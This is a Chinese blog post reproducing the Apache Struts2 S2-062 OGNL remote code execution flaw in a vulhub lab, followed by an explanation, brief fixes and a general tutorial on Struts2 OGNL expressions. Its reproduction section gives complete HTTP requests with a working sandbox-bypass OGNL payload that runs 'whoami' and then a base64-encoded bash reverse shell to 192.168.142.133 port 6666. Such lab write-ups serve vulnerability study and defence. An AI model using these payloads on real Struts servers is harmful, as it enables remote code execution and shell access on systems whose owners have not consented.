struts2 s2-062 ONGL远程代码执行

Posted candada

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了struts2 s2-062 ONGL远程代码执行相关的知识,希望对你有一定的参考价值。

struts2 s2-062 ONGL远程代码执行

一、Struts2介绍

struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。

Java中SSH框架

SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。

Java中SSM框架

SSM框架即指SpringMVC+Spring+MyBatis的简称,相比于之前的SSH(Spring+Struts+Hibernate),SSM更加轻量化和灵活,是目前业界主流的Java Web开发框架。

MVC介绍(Model-View-Controller)

经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。

不使用MVC组件:

1、为每个请求编写处理的Servlet

2、使用getParameter()获取请求参数

3、转换参数的数据类型,包括实体对象

4、处理重定向和转发URL

使用MVC组件:

分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率

二、s2-062漏洞概况

该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %… 语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL表达式触发漏洞,从而实现远程代码执行。

三、漏洞复现

1、打开vulhub中Struts2的靶场

2、bp发送payload

POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1101

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%
(#request.map=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map.setBean(#request.get(\'struts.valueStack\')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\'map\').get(\'context\')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\'map2\').get(\'memberAccess\')) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedPackageNames\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedClasses\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#application.get(\'org.apache.tomcat.InstanceManager\').newInstance(\'freemarker.template.utility.Execute\').exec(\'whoami\'))

------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

3、建立反弹连接payload

payload需要经过base64编码

编码前:

bash -i >& /dev/tcp/192.168.142.133/6666 0>&1

编码后:

bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx|base64,-d|bash,-i

POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1192

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%
(#request.map=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map.setBean(#request.get(\'struts.valueStack\')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\'map\').get(\'context\')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\'map2\').get(\'memberAccess\')) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedPackageNames\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedClasses\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#application.get(\'org.apache.tomcat.InstanceManager\').newInstance(\'freemarker.template.utility.Execute\').exec(\'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx|base64,-d|bash,-i\'))

------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

四、漏洞原理

项目使用了%解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证就可能导致远程代码执行。

个人理解:

struts2项目中使用了%解析OGNL表达式,对用户输入的内容进行二次解析,使用BeanMap类绕过了Struts2的黑名单(沙盒机制),并实例化了可执行任意代码的类,导致可以执行任意代码。

OGNL表达式:

全称Object-Graph Navigation Language(对象图导航语言),一种开源的Java表达式语言,用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能。

OGNL和Struts:

1、OGNL是Struts默认支持的表达式语言。

2、OGNL可以取值赋值、访问类的静态方法和属性。

3、访问OGNL上下文。Struts的上下文根对象:ValueStack。

4、%用来把字符串转换成表达式。

5、可以在struts.xml和struts标签等地方使用表达式。

五、漏洞修复方法

1、升级Struts2的版本

2、升级Struts2的相关组件

3、使用安全产品

Struts2 ONGL表达式

OGNL是Object-Graph Navigation Language的缩写,是一种功能强大的表达式语言。

OGNL的引入

1.ognl访问数据,以下将几种获取方式做了示例:

Action类

    public String test(){
        //获取狭义上的值栈
        context=ActionContext.getContext();         
        ValueStack valueStack=context.getValueStack();
        valueStack.set("name", "张三(valueStack)中的");
        
        //获取广义上的值栈
        //获取reqeust中的
        Map<String, Object> reqeust=(Map<String, Object>) context.get("request");
        reqeust.put("name", "李四(reqeust)中的");
        
        //获取session中的数据
        Map<String, Object> session=context.getSession();
        session.put("name", "王五(session)中的");
        
        //获取session中的数据
        Map<String, Object> application=context.getApplication();
        application.put("name", "赵六(application)中的");
        
        return SUCCESS;
    }

JSP页面

<body>
获取侠义上的值栈数据: <s:property value="name" /><br>
获取广义上的值栈数据<br>
获取请求的参数数据:  <s:property value="#parameters.name" /><br>
获取reqeust中的数据: <s:property value="#request.name" /><br>
获取session中的数据: <s:property value="#session.name" /><br>
获取application中的数据: <s:property value="#application.name" /><br>

#attr 按照 page,reqeust,session,application顺序查找<br>
获取attr:<s:property value="#attr.name" />
</body>

显示结果

2.ognl访问复杂对象:

Action类

public String test(){
        //访问javaBean对象
        student=new Students("张三","15");
        
        //访问对象集合
        list=new ArrayList<Students>();
        list.add(new Students("李四","集合成员一"));
        list.add(new Students("王五","集合成员二"));
        
        //访问map对象
        studentMap=new HashMap<String,Students>();
        studentMap.put("好学生", new Students("学霸","20"));
        studentMap.put("差学生", new Students("学渣","20"));
        return SUCCESS;
    }

JSP页面

<body>
OGNL访问javaBean对象:  <s:property value="student.name" /><s:property value="student.age" />岁了</br>
OGNL访问对象List集合:  <s:property value="list[0].name" /><s:property value="list[0].age" /><br>
                    <s:property value="list[1].name" /><s:property value="list[1].age" /><br>
OGNL访问对象Map集合:  <s:property value="studentMap[\'好学生\'].name" /><s:property value="studentMap[\'好学生\'].age" />岁了<br>
                    <s:property value="studentMap[\'差学生\'].name" /><s:property value="studentMap[\'差学生\'].age" />岁了<br>
                    <!-- [\'好学生\']这里面是map中的key值 -->
</body>

显示结果:

2.ognl访问静态属性和方法:

创建一个静态类:

package com.maya.ognl;

public class StaticOgnl {
    public static String str="Answer";
    
    public static String printStr(){
        str+="这是我的静态方法";
        System.out.println(str);        
        return str;
    }
}

JSP页面访问静态属性与方法:

<body>
OGNL访问静态属性: <s:property value="@com.maya.ognl.StaticOgnl@str" /><br>
                    <!-- @包名加类名 @属性名 -->
OGNL访问静态方法: <s:property value="@com.maya.ognl.StaticOgnl@printStr()" />
                    <!-- @包名加类名 @方法名() -->
</body>

显示结果:

 当访问静态方法与属性时,要在xml文件中配置一条语句,用来允许其调用。语句如下:

<constant name="struts.ognl.allowStaticMethodAccess" value="true"></constant>

 

以上是关于struts2 s2-062 ONGL远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章

Struts2 ONGL表达式

struts2 ongl

重磅 | Struts2 S2-048远程代码执行漏洞分析报告

S2-053:Apache Struts2远程代码执行漏洞(中危)

Struts2远程代码执行漏洞预警

Struts2 Convention插件远程代码执行